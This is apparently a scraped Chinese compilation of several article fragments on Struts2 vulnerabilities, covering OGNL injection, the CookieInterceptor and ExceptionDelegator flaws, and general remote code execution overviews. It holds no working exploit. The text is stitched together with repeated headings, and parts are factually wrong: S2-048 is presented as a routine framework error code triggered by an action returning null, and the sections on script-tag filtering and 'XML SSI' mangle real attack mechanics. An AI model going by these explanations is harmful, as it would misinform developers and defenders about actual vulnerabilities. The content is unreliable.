常见的漏洞利用手段包括代码注入、文件包含、文件上传、XSS、CSRF等方法。
在利用漏洞的过程中,攻击者需要构造正确的攻击负载,传递给目标系统,并且在传递负载的过程中,需要考虑多种防御措施,如WAF、CDN、IPS等。
代码注入:代码注入是指攻击者通过向目标系统中注入恶意代码,来获取目标系统控制权的过程。
代码注入的类型有很多,例如SQL注入、XML注入、CMD注入等。
文件包含:文件包含是指攻击者通过向目标系统中包含恶意文件,从而获取目标系统控制权的过程。
Struts2多个漏洞简要分析-电脑资料
Struts2多个漏洞简要分析-电脑资料1月份,SEC Cousult发布了一篇关于struts2漏洞的文章,写到4个struts2的最新漏洞,。
一个漏洞可以做远程代码执行,一个漏洞引出了新的远程代码执行,一个漏洞曾经我在blog上发布过(没有投CVE),以及一个之前也曾看到过,但是认为是鸡肋的漏洞。
这篇文章题目叫做《Multiple critical vulnerabilities in Apache Struts2》四个漏洞,本文一个一个的讲一讲它们的前世今生。
Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)新的远程代码执行漏洞,已经分析过它的利用和分析文章,具体地址在这里就不再多讲,我猜想或许就是因为这个漏洞被人爆了出来,才引出了老外发的这篇文章。
Remote command execution in Struts <= 2.3.1 (CookieInterceptor)COOKIE 的远程代码执行,这看起来表面上很嚣张的样子,但其实较少用到,至少默认是不用的,必须要开发人员手工配置某个action才可以攻击,注意是一个单独的action,不懂这个的可以理解为URL。
攻击者可能不知道是具体哪个action启用了这个配置,这会导致增加了漏洞发现的难度。
也许攻击者要扫描所有的action,才能碰巧遇到一个做这样配置的地方。
根据作者的经验,也许攻击者要扫描很多STRUTS2应用,才能遇到一个用到这个技术的应用。
下面的代码是示例:**/T1.jsp可以看到,这是一个只针对testCookie这个action的配置。
由于CookieInterceptor在处理cookiesName时,会遍历cookiesMap,把cookie中的每个key和value做如下:stack.setValue(cookieName, cookieValue);这样的OGNL赋值处理。
struts2 s2-048原理
struts2 s2-048原理一、概述Struts2 S2-048是Struts2框架中常见的一个错误码,主要涉及到Action 的执行过程。
该错误的出现通常意味着Struts2在处理请求时出现了问题,需要进行深入的分析和排查。
二、原理介绍1. Action执行流程:当一个请求到达Struts2框架时,首先会进行相应的验证和过滤,然后将其传递给相应的Action。
Action是Struts2的核心组件之一,负责处理业务逻辑并返回结果。
在默认情况下,Struts2会按照配置文件中定义的流程来执行Action,即遵循execute()方法的返回值来确定后续的处理。
2. S2-048出现原因:S2-048错误的出现通常是由于Action的execute()方法返回了一个未被定义的异常类型,或者返回了null,导致Struts2的执行流程出现了异常。
此外,配置文件中的错误配置也可能导致该错误的出现。
3. 排查方法:出现S2-048错误时,首先要查看具体的错误信息,了解错误的详细情况。
然后,可以通过检查Action的代码和配置文件,找出可能的问题所在。
常见的排查方法包括查看日志、跟踪请求流转、对比正常情况下的行为等。
三、示例分析以下是一个可能出现S2-048错误的示例代码:Action类:```javapublic class MyAction extends ActionSupport {private String myVariable;public String execute() {try {// some business logic herethrow new Exception("Some business exception");} catch (Exception e) {// handle exception and return null or other result typereturn null;}}}```在上述代码中,execute()方法中抛出了一个异常,但并没有定义该异常的类型,导致Struts2在处理请求时出现了S2-048错误。
struts2漏洞原理
struts2漏洞原理
Struts2是一种基于Java的开源Web应用框架,它可以帮助开发者快速开发和部署复杂的Web应用程序。
然而,由于Struts2存在一些严重的安全缺陷,攻击者可以利用这些漏洞实施各种攻击,包括远程执行代码、SQL注入和命令注入等。
其中,Struts2远程执行代码漏洞是最为臭名昭著的漏洞之一,该漏洞存在于struts2框架的核心代码里,并且可以通过网络访问执行任意代码,从而导致服务器被完全控制。
攻击者通常通过构造恶意的请求来利用这个漏洞,例如在HTTP请求的头部或参数中插入特殊的代码片段,从而触发struts2的漏洞。
攻击者可以利用这个漏洞执行任意代码,包括删除文件、修改数据、窃取数据等操作。
其原因是,Struts2应用程序在接收到HTTP请求时,会将请求参数转换成Java 对象,并使用一种名为OGNL(Object-Graph Navigation Language)的表达式语言来解析这些对象。
攻击者可以在HTTP请求中注入恶意的OGNL表达式,使其在服务器上执行任意代码。
此外,Struts2还存在一些其他的安全漏洞,包括文件读取漏洞、XSS漏洞和跨站请求伪造(CSRF)漏洞等。
这些漏洞可以通过错误的配置、不安全的代码实现和其他不当的安全实践而导致。
因此,为保障应用程序的安全稳定运行,使用
Struts2开发Web应用程序的开发者需要注意代码的安全性和其他防御性措施的实现。
struts2 漏洞原理
struts2 漏洞原理Struts2 是一种开放源代码的 Java Web 应用框架,被广泛应用于构建 Web 应用程序。
然而,Struts2 框架的一个漏洞却给许多应用程序带来了安全隐患。
本文将解释Struts2 漏洞的原理,并提供对于修复漏洞的一些方法。
Struts2 框架漏洞的原理Struts2 框架漏洞源于框架自身的设计缺陷。
设计缺陷使得攻击者可以利用恶意的输入来欺骗 Struts2 框架,从而在应用程序中执行任意的代码。
这种攻击就被称为“远程代码执行攻击”( Remote Code ExecutionAttack )。
Struts2 框架的漏洞主要是由于以下两点原因所导致的:· Struts2 使用了 OGNL (Object-Graph Navigation Language) 来解析 EL (Expression Language) 表达式,但没有正确地对表达式进行过滤,这使得恶意行为成为可能。
· Struts2 框架中的相当一部分功能是通过拦截器来实现的。
攻击者可以利用 Struts2 框架中的拦截器漏洞,绕过应用程序的权限控制来访问关键数据或者执行任意代码。
这两点都是 Struts2 框架漏洞的主因。
攻击者可以利用这两个漏洞来构建恶意的请求,并欺骗 Struts2 框架来执行恶意代码。
导致 Struts2 漏洞的例子为了更好地理解 Struts2 漏洞,可以通过一些例子来说明。
以下是一些可能导致 Struts2 框架漏洞的例子:· 未正确过滤用户输入。
比如在 Struts2 编译以数据表格为基础的应用程序时,如果没有过滤 script 标记,那么攻击者就可以通过执行JavaScript来远程控制代码,这就是远程代码执行攻击。
· XML SSI 漏洞。
攻击者可以通过将恶意代码嵌入到XML 消息中来利用该漏洞。
此漏洞允许攻击者利用Struts2 使用 XML 包含的注入布局中的初始资源解析器来绕过安全检查并完成任意文件读取/写入操作。
